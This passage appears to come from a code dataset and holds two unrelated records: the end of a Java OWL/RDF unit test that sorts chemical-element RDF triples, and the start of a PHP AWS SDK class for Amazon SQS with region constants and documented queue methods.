RDFResourceIRI g = r(Class(IRI(ns, \"MoleOfGoldAtom\")));\n private final RDFResourceIRI d = r(ObjectProperty(OWL_DISJOINT_WITH.getIRI()));\n private final RDFResourceIRI subtype = r(RDFS_SUBCLASS_OF.getIRI());\n\n private static RDFResourceIRI r(OWLEntity e) {\n return new RDFResourceIRI(e.getIRI());\n }\n\n private static RDFResourceIRI r(IRI e) {\n return new RDFResourceIRI(e);\n }\n\n private static RDFNode r(int s) {\n return new RDFResourceBlankNode(Integer.valueOf(s), false, false, false);\n }\n\n @Test\n public void shouldSort() {\n List list = new ArrayList<>(Arrays.asList(\n //@formatter:off\n triple(\"MoleOfNiobiumAtom\"),\n triple(\"MoleOfMercuryAtom\"),\n triple(\"MoleOfHydrogenAtom\"),\n triple(\"MoleOfSodiumAtom\"),\n triple(\"MoleOfIodineAtom\"),\n triple(608551021),\n triple(1419046060),\n triple(908505087),\n triple(\"MoleOfManganeseAtom\"),\n triple(\"MoleOfIronAtom\"),\n triple(\"MoleOfYttriumAtom\"),\n triple(\"MoleOfRadiumAtom\"),\n triple(\"MoleOfPoloniumAtom\"),\n triple(\"MoleOfPalladiumAtom\"),\n triple(\"MoleOfLeadAtom\"),\n triple(\"MoleOfTinAtom\"),\n triple(\"MoleOfIndiumAtom\"),\n triple(589710844),\n triple(\"MoleOfPhosphorusAtom\"),\n triple(767224527),\n triple(\"MoleOfXenonAtom\"),\n triple(\"MoleOfZirconiumAtom\"),\n triple(\"MoleOfNickelAtom\"),\n triple(\"MoleOfRhodiumAtom\"),\n triple(\"MoleOfThalliumAtom\"),\n triple(\"MoleOfHafniumAtom\"),\n triple(12186480),\n triple(1975184526),\n triple(\"MoleOfVanadiumAtom\"),\n triple(484873262),\n triple(\"MoleOfScandiumAtom\"),\n triple(\"MoleOfRubidiumAtom\"),\n triple(\"MoleOfMolybdenumAtom\"),\n triple(\"MoleOfTelluriumAtom\"),\n triple(21622515),\n triple(\"MoleOfMagnesiumAtom\"),\n triple(\"MoleOfTungstenAtom\"),\n triple(\"MoleOfPotassiumAtom\"),\n triple(\"MoleOfSulfurAtom\"),\n triple(\"MoleOfOxygenAtom\"),\n triple(\"MoleOfHeliumAtom\"),\n triple(\"MoleOfRutheniumAtom\"),\n triple(315300697),\n triple(1711957716),\n triple(\"MoleOfLithiumAtom\"),\n triple(\"MoleOfTitaniumAtom\"),\n triple(\"MoleOfOsmiumAtom\"),\n triple(\"MoleOfSiliconAtom\"),\n triple(\"MoleOfTantalumAtom\"),\n triple(624417224),\n triple(\"MoleOfRadonAtom\"),\n triple(1556170233),\n new RDFTriple(g, subtype, r(IRI(ns, \"MoleOfAtom\"))),\n triple(\"MoleOfSeleniumAtom\"),\n triple(\"MoleOfNeonAtom\"),\n triple(\"MoleOfKryptonAtom\"),\n triple(RDF_TYPE, OWL_CLASS),\n triple(\"MoleOfPlatinumAtom\"),\n triple(\"MoleOfSilverAtom\"),\n triple(\"MoleOfStrontiumAtom\"),\n triple(1340998166)\n , triple(\"MoleOfIridiumAtom\")\n , triple(\"MoleOfNitrogenAtom\")\n , triple(\"MoleOfRheniumAtom\")\n , triple(\"MoleOfZincAtom\")\n //@formatter:on\n ));\n Collections.sort(list);\n }\n\n private RDFTriple triple(String n) {\n return new RDFTriple(g, d, r(IRI(ns, n)));\n }\n\n private RDFTriple triple(OWLRDFVocabulary p, OWLRDFVocabulary n) {\n return new RDFTriple(g, r(p.getIRI()), r(n.getIRI()));\n }\n\n private RDFTriple triple(int n) {\n return new RDFTriple(g, subtype, r(n));\n }\n}\n"} +{"text": "http://aws.amazon.com/sqs/ for more information.\n *\n * @version 2013.01.14\n * @license See the included NOTICE.md file for complete information.\n * @copyright See the included NOTICE.md file for complete information.\n * @link http://aws.amazon.com/sqs/ Amazon Simple Queue Service\n * @link http://aws.amazon.com/sqs/documentation/ Amazon Simple Queue Service documentation\n */\nclass AmazonSQS extends CFRuntime\n{\n\t/*%******************************************************************************************%*/\n\t// CLASS CONSTANTS\n\n\t/**\n\t * Specify the queue URL for the United States East (Northern Virginia) Region.\n\t */\n\tconst REGION_US_E1 = 'sqs.us-east-1.amazonaws.com';\n\n\t/**\n\t * Specify the queue URL for the United States East (Northern Virginia) Region.\n\t */\n\tconst REGION_VIRGINIA = self::REGION_US_E1;\n\n\t/**\n\t * Specify the queue URL for the United States West (Northern California) Region.\n\t */\n\tconst REGION_US_W1 = 'sqs.us-west-1.amazonaws.com';\n\n\t/**\n\t * Specify the queue URL for the United States West (Northern California) Region.\n\t */\n\tconst REGION_CALIFORNIA = self::REGION_US_W1;\n\n\t/**\n\t * Specify the queue URL for the United States West (Oregon) Region.\n\t */\n\tconst REGION_US_W2 = 'sqs.us-west-2.amazonaws.com';\n\n\t/**\n\t * Specify the queue URL for the United States West (Oregon) Region.\n\t */\n\tconst REGION_OREGON = self::REGION_US_W2;\n\n\t/**\n\t * Specify the queue URL for the Europe West (Ireland) Region.\n\t */\n\tconst REGION_EU_W1 = 'sqs.eu-west-1.amazonaws.com';\n\n\t/**\n\t * Specify the queue URL for the Europe West (Ireland) Region.\n\t */\n\tconst REGION_IRELAND = self::REGION_EU_W1;\n\n\t/**\n\t * Specify the queue URL for the Asia Pacific Southeast (Singapore) Region.\n\t */\n\tconst REGION_APAC_SE1 = 'sqs.ap-southeast-1.amazonaws.com';\n\n\t/**\n\t * Specify the queue URL for the Asia Pacific Southeast (Singapore) Region.\n\t */\n\tconst REGION_SINGAPORE = self::REGION_APAC_SE1;\n\n\t/**\n\t * Specify the queue URL for the Asia Pacific Southeast (Singapore) Region.\n\t */\n\tconst REGION_APAC_SE2 = 'sqs.ap-southeast-2.amazonaws.com';\n\n\t/**\n\t * Specify the queue URL for the Asia Pacific Southeast (Singapore) Region.\n\t */\n\tconst REGION_SYDNEY = self::REGION_APAC_SE2;\n\n\t/**\n\t * Specify the queue URL for the Asia Pacific Northeast (Tokyo) Region.\n\t */\n\tconst REGION_APAC_NE1 = 'sqs.ap-northeast-1.amazonaws.com';\n\n\t/**\n\t * Specify the queue URL for the Asia Pacific Northeast (Tokyo) Region.\n\t */\n\tconst REGION_TOKYO = self::REGION_APAC_NE1;\n\n\t/**\n\t * Specify the queue URL for the South America (Sao Paulo) Region.\n\t */\n\tconst REGION_SA_E1 = 'sqs.sa-east-1.amazonaws.com';\n\n\t/**\n\t * Specify the queue URL for the South America (Sao Paulo) Region.\n\t */\n\tconst REGION_SAO_PAULO = self::REGION_SA_E1;\n\n\t/**\n\t * Specify the queue URL for the United States GovCloud Region.\n\t */\n\tconst REGION_US_GOV1 = 'sqs.us-gov-west-1.amazonaws.com';\n\n\t/**\n\t * Default service endpoint.\n\t */\n\tconst DEFAULT_URL = self::REGION_US_E1;\n\n\n\t/*%******************************************************************************************%*/\n\t// CONSTRUCTOR\n\n\t/**\n\t * Constructs a new instance of .\n\t *\n\t * @param array $options (Optional) An associative array of parameters that can have the following keys:
      \n\t * \t
    • certificate_authority - boolean - Optional - Determines which Cerificate Authority file to use. A value of boolean false will use the Certificate Authority file available on the system. A value of boolean true will use the Certificate Authority provided by the SDK. Passing a file system path to a Certificate Authority file (chmodded to 0755) will use that. Leave this set to false if you're not sure.
    • \n\t * \t
    • credentials - string - Optional - The name of the credential set to use for authentication.
    • \n\t * \t
    • default_cache_config - string - Optional - This option allows a preferred storage type to be configured for long-term caching. This can be changed later using the method. Valid values are: apc, xcache, or a file system path such as ./cache or /tmp/cache/.
    • \n\t * \t
    • key - string - Optional - Your AWS key, or a session key. If blank, the default credential set will be used.
    • \n\t * \t
    • secret - string - Optional - Your AWS secret key, or a session secret key. If blank, the default credential set will be used.
    • \n\t * \t
    • token - string - Optional - An AWS session token.
    \n\t * @return void\n\t */\n\tpublic function __construct(array $options = array())\n\t{\n\t\t$this->api_version = '2012-11-05';\n\t\t$this->hostname = self::DEFAULT_URL;\n\t\t$this->auth_class = 'AuthV4Query';\n\n\t\treturn parent::__construct($options);\n\t}\n\n\n\t/*%******************************************************************************************%*/\n\t// SETTERS\n\n\t/**\n\t * This allows you to explicitly sets the region for the service to use.\n\t *\n\t * @param string $region (Required) The region to explicitly set. Available options are , , , , , , , , .\n\t * @return $this A reference to the current instance.\n\t */\n\tpublic function set_region($region)\n\t{\n\t\t// @codeCoverageIgnoreStart\n\t\t$this->set_hostname($region);\n\t\treturn $this;\n\t\t// @codeCoverageIgnoreEnd\n\t}\n\n\n\t/*%******************************************************************************************%*/\n\t// CONVENIENCE METHODS\n\n\t/**\n\t * Converts a queue URI into a queue ARN.\n\t *\n\t * @param string $queue_url (Required) The queue URL to perform the action on. Retrieved when the queue is first created.\n\t * @return string An ARN representation of the queue URI.\n\t */\n\tfunction get_queue_arn($queue_url)\n\t{\n\t\treturn str_replace(\n\t\t\tarray('http://', 'https://', '.amazonaws.com', '/', '.'),\n\t\t\tarray('arn:aws:', 'arn:aws:', '', ':', ':'),\n\t\t\t$queue_url\n\t\t);\n\t}\n\n\t/**\n\t * Returns the approximate number of messages in the queue.\n\t *\n\t * @param string $queue_url (Required) The queue URL to perform the action on. Retrieved when the queue is first created.\n\t * @return mixed The Approximate number of messages in the queue as an integer. If the queue doesn't exist, it returns the entire object.\n\t */\n\tpublic function get_queue_size($queue_url)\n\t{\n\t\t$response = $this->get_queue_attributes($queue_url, array(\n\t\t\t'AttributeName' => 'ApproximateNumberOfMessages'\n\t\t));\n\n\t\tif (!$response->isOK())\n\t\t{\n\t\t\treturn $response;\n\t\t}\n\n\t\treturn (integer) $response->body->Value(0);\n\t}\n\n\t/**\n\t * ONLY lists the queue URLs, as an array, on the SQS account.\n\t *\n\t * @param string $pcre (Optional) A Perl-Compatible Regular Expression (PCRE) to filter the names against.\n\t * @return array The list of matching queue names. If there are no results, the method will return an empty array.\n\t * @link http://php.net/pcre Perl-Compatible Regular Expression (PCRE) Docs\n\t */\n\tpublic function get_queue_list($pcre = null)\n\t{\n\t\tif ($this->use_batch_flow)\n\t\t{\n\t\t\tthrow new SQS_Exception(__FUNCTION__ . '() cannot be batch requested');\n\t\t}\n\n\t\t// Get a list of queues.\n\t\t$list = $this->list_queues();\n\t\tif ($list = $list->body->QueueUrl())\n\t\t{\n\t\t\t$list = $list->map_string($pcre);\n\t\t\treturn $list;\n\t\t}\n\n\t\treturn array();\n\t}\n\n\n\t/*%******************************************************************************************%*/\n\t// OVERWRITTEN METHODS\n\n\t/**\n\t * This overwrites the default authenticate method in sdk.class.php to address SQS queue URLs.\n\t *\n\t * @return CFResponse Object containing a parsed HTTP response.\n\t */\n\tpublic function authenticate($operation, $payload)\n\t{\n\t\t// Save the current hostname\n\t\t$hostname = $this->hostname;\n\n\t\tif (isset($payload['QueueUrl']))\n\t\t{\n\t\t\t// Change the hostname to the queue URL\n\t\t\t$this->hostname = $payload['QueueUrl'];\n\n\t\t\t// Remove \"QueueURL\" from the payload\n\t\t\tunset($payload['QueueUrl']);\n\t\t}\n\n\t\t// Perform the request\n\t\t$response = parent::authenticate($operation, $payload);\n\n\t\t// Restore the hostname\n\t\t$this->hostname = $hostname;\n\n\t\treturn $response;\n\t}\n\n\n\t/*%******************************************************************************************%*/\n\t// SERVICE METHODS\n\n\t/**\n\t * The AddPermission action adds a permission to a queue for a specific \n\t * principal. This allows for sharing access to the queue.\n\t * \n\t * When you create a queue, you have full control access rights for the queue. Only you (as owner\n\t * of the queue) can grant or deny permissions to the queue. For more information about these\n\t * permissions, see \n\t * Shared Queues in the Amazon SQS Developer Guide.\n\t * \n\t * AddPermission writes an SQS-generated policy. If you want to write your own\n\t * policy, use SetQueueAttributes to upload your policy. For more information about writing your\n\t * own policy, see \n\t * Appendix: The Access Policy Language in the Amazon SQS Developer Guide.\n\t *\n\t * @param string $queue_url (Required) The URL of the SQS queue to take action on.\n\t * @param string $label (Required) The unique identification of the permission you're setting (e.g., AliceSendMessage). Constraints: Maximum 80 characters; alphanumeric characters, hyphens (-), and underscores (_) are allowed.\n\t * @param string|array $aws_account_id (Required) The AWS account number of the principal who will be given permission. The principal must have an AWS account, but does not need to be signed up for Amazon SQS. Pass a string for a single value, or an indexed array for multiple values.\n\t * @param string|array $action_name (Required) The action the client wants to allow for the specified principal. Pass a string for a single value, or an indexed array for multiple values.\n\t * @param array $opt (Optional) An associative array of parameters that can have the following keys:
      \n\t * \t
    • curlopts - array - Optional - A set of values to pass directly into curl_setopt(), where the key is a pre-defined CURLOPT_* constant.
    • \n\t * \t
    • returnCurlHandle - boolean - Optional - A private toggle specifying that the cURL handle be returned rather than actually completing the request. This toggle is useful for manually managed batch requests.
    \n\t * @return CFResponse A object containing a parsed HTTP response.\n\t */\n\tpublic function add_permission($queue_url, $label, $aws_account_id, $action_name, $opt = null)\n\t{\n\t\tif (!$opt) $opt = array();\n\t\t$opt['QueueUrl'] = $queue_url;\n\t\t$opt['Label'] = $label;\n\t\t\n\t\t// Required list (non-map)\n\t\t$opt = array_merge($opt, CFComplexType::map(array(\n\t\t\t'AWSAccountId' => (is_array($aws_account_id) ? $aws_account_id : array($aws_account_id))\n\t\t)));\n\t\t\n\t\t// Required list (non-map)\n\t\t$opt = array_merge($opt, CFComplexType::map(array(\n\t\t\t'ActionName' => (is_array($action_name) ? $action_name : array($action_name))\n\t\t)));\n\n\t\treturn $this->authenticate('AddPermission', $opt);\n\t}\n\n\t/**\n\t * The ChangeMessageVisibility action changes the visibility timeout of a specified\n\t * message in a queue to a new value. The maximum allowed timeout value you can set the value to\n\t * is 12 hours. This means you can't extend the timeout of a message in an existing queue to more\n\t * than a total visibility timeout of 12 hours. (For more information visibility timeout, see\n\t * \t\n\t * Visibility Timeout in the Amazon SQS Developer Guide.)\n\t * \n\t * For example, let's say you have a message and its default message visibility timeout is 30\n\t * minutes. You could call ChangeMessageVisiblity with a value of two hours and the\n\t * effective timeout would be two hours and 30 minutes. When that time comes near you could again\n\t * extend the time out by calling ChangeMessageVisiblity, but this time the maximum allowed\n\t * timeout would be 9 hours and 30 minutes.\n\t * \n\t *

    \n\t * If you attempt to set the VisibilityTimeout to an amount more than the maximum\n\t * time left, Amazon SQS returns an error. It will not automatically recalculate and increase the\n\t * timeout to the maximum time remaining.\n\t *

    \n\t *

    \n\t * Unlike with a queue, when you change the visibility timeout for a specific message, that\n\t * timeout value is applied immediately but is not saved in memory for that message. If you don't\n\t * delete a message after it is received, the visibility timeout for the message the next time it\n\t * is received reverts to the original timeout value, not the value you set with the\n\t * ChangeMessageVisibility action.\n\t *

    \n\t *\n\t * @param string $queue_url (Required) The URL of the SQS queue to take action on.\n\t * @param string $receipt_handle (Required) The receipt handle associated with the message whose visibility timeout should be changed.\n\t * @param integer $visibility_timeout (Required) The new value (in seconds) for the message's visibility timeout.\n\t * @param array $opt (Optional) An associative array of parameters that can have the following keys:
      \n\t * \t
    • curlopts - array - Optional - A set of values to pass directly into curl_setopt(), where the key is a pre-defined CURLOPT_* constant.
    • \n\t * \t
    • returnCurlHandle - boolean - Optional - A private toggle specifying that the cURL handle be returned rather than actually completing the request. This toggle is useful for manually managed batch requests.
    \n\t * @return CFResponse A object containing a parsed HTTP response.\n\t */\n\tpublic function change_message_visibility($queue_url, $receipt_handle, $visibility_timeout, $opt = null)\n\t{\n\t\tif (!$opt) $opt = array();\n\t\t$opt['QueueUrl'] = $queue_url;\n\t\t$opt['ReceiptHandle'] = $receipt_handle;\n\t\t$opt['VisibilityTimeout'] = $visibility_timeout;\n\t\t\n\t\treturn $this->authenticate('ChangeMessageVisibility', $opt);\n\t}\n\n\t/**\n\t * This is a batch version of ChangeMessageVisibility. It takes multiple receipt\n\t * handles and performs the operation on each of the them. The result of the operation on each\n\t * message is reported individually in the response.\n\t *\n\t * @param string $queue_url (Required) The URL of the SQS queue to take action on.\n\t * @param array $change_message_visibility_batch_request_entry (Required) A list of receipt handles of the messages for which the visibility timeout must be changed.
      \n\t * \t
    • x - array - Optional - This represents a simple array index.
        \n\t * \t\t
      • Id - string - Required - An identifier for this particular receipt handle. This is used to communicate the result. Note that the Id s of a batch request need to be unique within the request.
      • \n\t * \t\t
      • ReceiptHandle - string - Required - A receipt handle.
      • \n\t * \t\t
      • VisibilityTimeout - integer - Optional - The new value (in seconds) for the message's visibility timeout.
      • \n\t * \t
    • \n\t *
    \n\t * @param array $opt (Optional) An associative array of parameters that can have the following keys:
      \n\t * \t
    • curlopts - array - Optional - A set of values to pass directly into curl_setopt(), where the key is a pre-defined CURLOPT_* constant.
    • \n\t * \t
    • returnCurlHandle - boolean - Optional - A private toggle specifying that the cURL handle be returned rather than actually completing the request. This toggle is useful for manually managed batch requests.
    \n\t * @return CFResponse A object containing a parsed HTTP response.\n\t */\n\tpublic function change_message_visibility_batch($queue_url, $change_message_visibility_batch_request_entry, $opt = null)\n\t{\n\t\tif (!$opt) $opt = array();\n\t\t$opt['QueueUrl'] = $queue_url;\n\t\t\n\t\t// Required list + map\n\t\t$opt = array_merge($opt, CFComplexType::map(array(\n\t\t\t'ChangeMessageVisibilityBatchRequestEntry' => (is_array($change_message_visibility_batch_request_entry) ? $change_message_visibility_batch_request_entry : array($change_message_visibility_batch_request_entry))\n\t\t)));\n\n\t\treturn $this->authenticate('ChangeMessageVisibilityBatch', $opt);\n\t}\n\n\t/**\n\t * The CreateQueue action creates a new queue, or returns the URL of an existing one.\n\t * When you request CreateQueue, you provide a name for the queue. To successfully\n\t * create a new queue, you must provide a name that is unique within the scope of your own queues.\n\t * \n\t * You may pass one or more attributes in the request. If you do not provide a value for any\n\t * attribute, the queue will have the default value for that attribute. Permitted attributes are\n\t * the same that can be set using SetQueueAttributes.\n\t * \n\t * If you provide the name of an existing queue, a new queue isn't created. If the values of\n\t * attributes provided with the request match up with those on the existing queue, the queue URL\n\t * is returned. Otherwise, a QueueNameExists error is returned.\n\t *\n\t * @param string $queue_name (Required) The name for the queue to be created.\n\t * @param array $opt (Optional) An associative array of parameters that can have the following keys:
      \n\t * \t
    • Attribute - array - Optional - A map of attributes with their corresponding values.
        \n\t * \t\t
      • x - array - Optional - This represents a simple array index.
          \n\t * \t\t\t
        • Name - string - Optional - The name of a queue attribute. [Allowed values: Policy, VisibilityTimeout, MaximumMessageSize, MessageRetentionPeriod, ApproximateNumberOfMessages, ApproximateNumberOfMessagesNotVisible, CreatedTimestamp, LastModifiedTimestamp, QueueArn, ApproximateNumberOfMessagesDelayed, DelaySeconds, ReceiveMessageWaitTimeSeconds]
        • \n\t * \t\t\t
        • Value - string - Optional - The value of a queue attribute.
        • \n\t * \t\t
      • \n\t * \t
    • \n\t * \t
    • curlopts - array - Optional - A set of values to pass directly into curl_setopt(), where the key is a pre-defined CURLOPT_* constant.
    • \n\t * \t
    • returnCurlHandle - boolean - Optional - A private toggle specifying that the cURL handle be returned rather than actually completing the request. This toggle is useful for manually managed batch requests.
    \n\t * @return CFResponse A object containing a parsed HTTP response.\n\t */\n\tpublic function create_queue($queue_name, $opt = null)\n\t{\n\t\tif (!$opt) $opt = array();\n\t\t$opt['QueueName'] = $queue_name;\n\t\t\n\t\t// Optional map (non-list)\n\t\tif (isset($opt['Attribute']))\n\t\t{\n\t\t\t$opt = array_merge($opt, CFComplexType::map(array(\n\t\t\t\t'Attribute' => $opt['Attribute']\n\t\t\t)));\n\t\t\tunset($opt['Attribute']);\n\t\t}\n\n\t\treturn $this->authenticate('CreateQueue', $opt);\n\t}\n\n\t/**\n\t * The DeleteMessage action unconditionally removes the specified message from the\n\t * specified queue. Even if the message is locked by another reader due to the visibility timeout\n\t * setting, it is still deleted from the queue.\n\t *\n\t * @param string $queue_url (Required) The URL of the SQS queue to take action on.\n\t * @param string $receipt_handle (Required) The receipt handle associated with the message to delete.\n\t * @param array $opt (Optional) An associative array of parameters that can have the following keys:
      \n\t * \t
    • curlopts - array - Optional - A set of values to pass directly into curl_setopt(), where the key is a pre-defined CURLOPT_* constant.
    • \n\t * \t
    • returnCurlHandle - boolean - Optional - A private toggle specifying that the cURL handle be returned rather than actually completing the request. This toggle is useful for manually managed batch requests.
    \n\t * @return CFResponse A object containing a parsed HTTP response.\n\t */\n\tpublic function delete_message($queue_url, $receipt_handle, $opt = null)\n\t{\n\t\tif (!$opt) $opt = array();\n\t\t$opt['QueueUrl'] = $queue_url;\n\t\t$opt['ReceiptHandle'] = $receipt_handle;\n\t\t\n\t\treturn $this->authenticate('DeleteMessage', $opt);\n\t}\n\n\t/**\n\t * This is a batch version of DeleteMessage. It takes multiple receipt handles and\n\t * deletes each one of the messages. The result of the delete operation on each message is\n\t * reported individually in the response.\n\t *\n\t * @param string $queue_url (Required) The URL of the SQS queue to take action on.\n\t * @param array $delete_message_batch_request_entry (Required) A list of receipt handles for the messages to be deleted.
      \n\t * \t
    • x - array - Optional - This represents a simple array index.
        \n\t * \t\t
      • Id - string - Required - An identifier for this particular receipt handle. This is used to communicate the result. Note that the Id s of a batch request need to be unique within the request.
      • \n\t * \t\t
      • ReceiptHandle - string - Required - A receipt handle.
      • \n\t * \t
    • \n\t *
    \n\t * @param array $opt (Optional) An associative array of parameters that can have the following keys:
      \n\t * \t
    • curlopts - array - Optional - A set of values to pass directly into curl_setopt(), where the key is a pre-defined CURLOPT_* constant.
    • \n\t * \t
    • returnCurlHandle - boolean - Optional - A private toggle specifying that the cURL handle be returned rather than actually completing the request. This toggle is useful for manually managed batch requests.
    \n\t * @return CFResponse A object containing a parsed HTTP response.\n\t */\n\tpublic function delete_message_batch($queue_url, $delete_message_batch_request_entry, $opt = null)\n\t{\n\t\tif (!$opt) $opt = array();\n\t\t$opt['QueueUrl'] = $queue_url;\n\t\t\n\t\t// Required list + map\n\t\t$opt = array_merge($opt, CFComplexType::map(array(\n\t\t\t'DeleteMessageBatchRequestEntry' => (is_array($delete_message_batch_request_entry) ? $delete_message_batch_request_entry : array($delete_message_batch_request_entry))\n\t\t)));\n\n\t\treturn $this->authenticate('DeleteMessageBatch', $opt);\n\t}\n\n\t/**\n\t * This action unconditionally deletes the queue specified by the queue URL. Use this operation\n\t * WITH CARE! The queue is deleted even if it is NOT empty.\n\t * \n\t * Once a queue has been deleted, the queue name is unavailable for use with new queues for 60\n\t * seconds.\n\t *\n\t * @param string $queue_url (Required) The URL of the SQS queue to take action on.\n\t * @param array $opt (Optional) An associative array of parameters that can have the following keys:
      \n\t * \t
    • curlopts - array - Optional - A set of values to pass directly into curl_setopt(), where the key is a pre-defined CURLOPT_* constant.
    • \n\t * \t
    • returnCurlHandle - boolean - Optional - A private toggle specifying that the cURL handle be returned rather than actually completing the request. This toggle is useful for manually managed batch requests.
    \n\t * @return CFResponse A object containing a parsed HTTP response.\n\t */\n\tpublic function delete_queue($queue_url, $opt = null)\n\t{\n\t\tif (!$opt) $opt = array();\n\t\t$opt['QueueUrl'] = $queue_url;\n\t\t\n\t\treturn $this->authenticate('DeleteQueue', $opt);\n\t}\n\n\t/**\n\t * Gets attributes for the specified queue. The following attributes are supported:\n\t * \n\t *
      \n\t * \t
    • All - returns all values.
    • \n\t * \t
    • ApproximateNumberOfMessages - returns the approximate number of visible\n\t * \tmessages in a queue. For more information, see Resources Required to Process Messages in\n\t * \tthe Amazon SQS Developer Guide.
    • \n\t * \t
    • ApproximateNumberOfMessagesNotVisible - returns the approximate number of\n\t * \tmessages that are not timed-out and not deleted. For more information, see Resources\n\t * \tRequired to Process Messages in the Amazon SQS Developer Guide.
    • \n\t * \t
    • VisibilityTimeout - returns the visibility timeout for the queue. For more\n\t * \tinformation about visibility timeout, see Visibility Timeout in the Amazon SQS Developer\n\t * \tGuide.
    • \n\t * \t
    • CreatedTimestamp - returns the time when the queue was created (epoch time in\n\t * \tseconds).
    • \n\t * \t
    • LastModifiedTimestamp - returns the time when the queue was last changed\n\t * \t(epoch time in seconds).
    • \n\t * \t
    • Policy - returns the queue's policy.
    • \n\t * \t
    • MaximumMessageSize - returns the limit of how many bytes a message can contain\n\t * \tbefore Amazon SQS rejects it.
    • \n\t * \t
    • MessageRetentionPeriod - returns the number of seconds Amazon SQS retains a\n\t * \tmessage.
    • \n\t * \t
    • QueueArn - returns the queue's Amazon resource name (ARN).
    • \n\t * \t
    • ApproximateNumberOfMessagesDelayed - returns the approximate number of\n\t * \tmessages that are pending to be added to the queue.
    • \n\t * \t
    • DelaySeconds - returns the default delay on the queue in seconds.
    • \n\t * \t
    • ReceiveMessageWaitTimeSeconds - returns the time for which a ReceiveMessage\n\t * \tcall will wait for a message to arrive.
    • \n\t *
    \n\t *\n\t * @param string $queue_url (Required) The URL of the SQS queue to take action on.\n\t * @param array $opt (Optional) An associative array of parameters that can have the following keys:
      \n\t * \t
    • AttributeName - string|array - Optional - A list of attributes to retrieve information for. Pass a string for a single value, or an indexed array for multiple values.
    • \n\t * \t
    • curlopts - array - Optional - A set of values to pass directly into curl_setopt(), where the key is a pre-defined CURLOPT_* constant.
    • \n\t * \t
    • returnCurlHandle - boolean - Optional - A private toggle specifying that the cURL handle be returned rather than actually completing the request. This toggle is useful for manually managed batch requests.
    \n\t * @return CFResponse A object containing a parsed HTTP response.\n\t */\n\tpublic function get_queue_attributes($queue_url, $opt = null)\n\t{\n\t\tif (!$opt) $opt = array();\n\t\t$opt['QueueUrl'] = $queue_url;\n\t\t\n\t\t// Optional list (non-map)\n\t\tif (isset($opt['AttributeName']))\n\t\t{\n\t\t\t$opt = array_merge($opt, CFComplexType::map(array(\n\t\t\t\t'AttributeName' => (is_array($opt['AttributeName']) ? $opt['AttributeName'] : array($opt['AttributeName']))\n\t\t\t)));\n\t\t\tunset($opt['AttributeName']);\n\t\t}\n\n\t\treturn $this->authenticate('GetQueueAttributes', $opt);\n\t}\n\n\t/**\n\t * The GetQueueUrl action returns the URL of an existing queue.\n\t *\n\t * @param string $queue_name (Required) The name of the queue whose URL must be fetched.\n\t * @param array $opt (Optional) An associative array of parameters that can have the following keys:
      \n\t * \t
    • QueueOwnerAWSAccountId - string - Optional - The AWS account number of the queue's owner.
    • \n\t * \t
    • curlopts - array - Optional - A set of values to pass directly into curl_setopt(), where the key is a pre-defined CURLOPT_* constant.
    • \n\t * \t
    • returnCurlHandle - boolean - Optional - A private toggle specifying that the cURL handle be returned rather than actually completing the request. This toggle is useful for manually managed batch requests.
    \n\t * @return CFResponse A object containing a parsed HTTP response.\n\t */\n\tpublic function get_queue_url($queue_name, $opt = null)\n\t{\n\t\tif (!$opt) $opt = array();\n\t\t$opt['QueueName'] = $queue_name;\n\t\t\n\t\treturn $this->authenticate('GetQueueUrl', $opt);\n\t}\n\n\t/**\n\t * Returns a list of your queues.\n\t *\n\t * @param array $opt (Optional) An associative array of parameters that can have the following keys:
      \n\t * \t
    • QueueNamePrefix - string - Optional - A string to use for filtering the list results. Only those queues whose name begins with the specified string are returned.
    • \n\t * \t
    • curlopts - array - Optional - A set of values to pass directly into curl_setopt(), where the key is a pre-defined CURLOPT_* constant.
    • \n\t * \t
    • returnCurlHandle - boolean - Optional - A private toggle specifying that the cURL handle be returned rather than actually completing the request. This toggle is useful for manually managed batch requests.
    \n\t * @return CFResponse A object containing a parsed HTTP response.\n\t */\n\tpublic function list_queues($opt = null)\n\t{\n\t\tif (!$opt) $opt = array();\n\t\t\t\t\n\t\treturn $this->authenticate('ListQueues', $opt);\n\t}\n\n\t/**\n\t * Retrieves one or more messages from the specified queue, including the message body and message\n\t * ID of each message. Messages returned by this action stay in the queue until you delete them.\n\t * However, once a message is returned to a ReceiveMessage request, it is not\n\t * returned on subsequent ReceiveMessage requests for the duration of the\n\t * VisibilityTimeout. If you do not specify a VisibilityTimeout in the\n\t * request, the overall visibility timeout for the queue is used for the returned messages.\n\t * \n\t * If a message is available in the queue, the call will return immediately. Otherwise, it will\n\t * wait up to WaitTimeSeconds for a message to arrive. If you do not specify\n\t * WaitTimeSeconds in the request, the queue attribute ReceiveMessageWaitTimeSeconds\n\t * is used to determine how long to wait.\n\t * \n\t * You could ask for additional information about each message through the attributes. Attributes\n\t * that can be requested are [SenderId, ApproximateFirstReceiveTimestamp,\n\t * ApproximateReceiveCount, SentTimestamp].\n\t *\n\t * @param string $queue_url (Required) The URL of the SQS queue to take action on.\n\t * @param array $opt (Optional) An associative array of parameters that can have the following keys:
      \n\t * \t
    • AttributeName - string|array - Optional - A list of attributes that need to be returned along with each message. The set of valid attributes are [SenderId, ApproximateFirstReceiveTimestamp, ApproximateReceiveCount, SentTimestamp]. Pass a string for a single value, or an indexed array for multiple values.
    • \n\t * \t
    • MaxNumberOfMessages - integer - Optional - The maximum number of messages to return. Amazon SQS never returns more messages than this value but may return fewer. All of the messages are not necessarily returned.
    • \n\t * \t
    • VisibilityTimeout - integer - Optional - The duration (in seconds) that the received messages are hidden from subsequent retrieve requests after being retrieved by a ReceiveMessage request.
    • \n\t * \t
    • WaitTimeSeconds - integer - Optional - The duration (in seconds) for which the call will wait for a message to arrive in the queue before returning. If a message is available, the call will return sooner than WaitTimeSeconds.
    • \n\t * \t
    • curlopts - array - Optional - A set of values to pass directly into curl_setopt(), where the key is a pre-defined CURLOPT_* constant.
    • \n\t * \t
    • returnCurlHandle - boolean - Optional - A private toggle specifying that the cURL handle be returned rather than actually completing the request. This toggle is useful for manually managed batch requests.
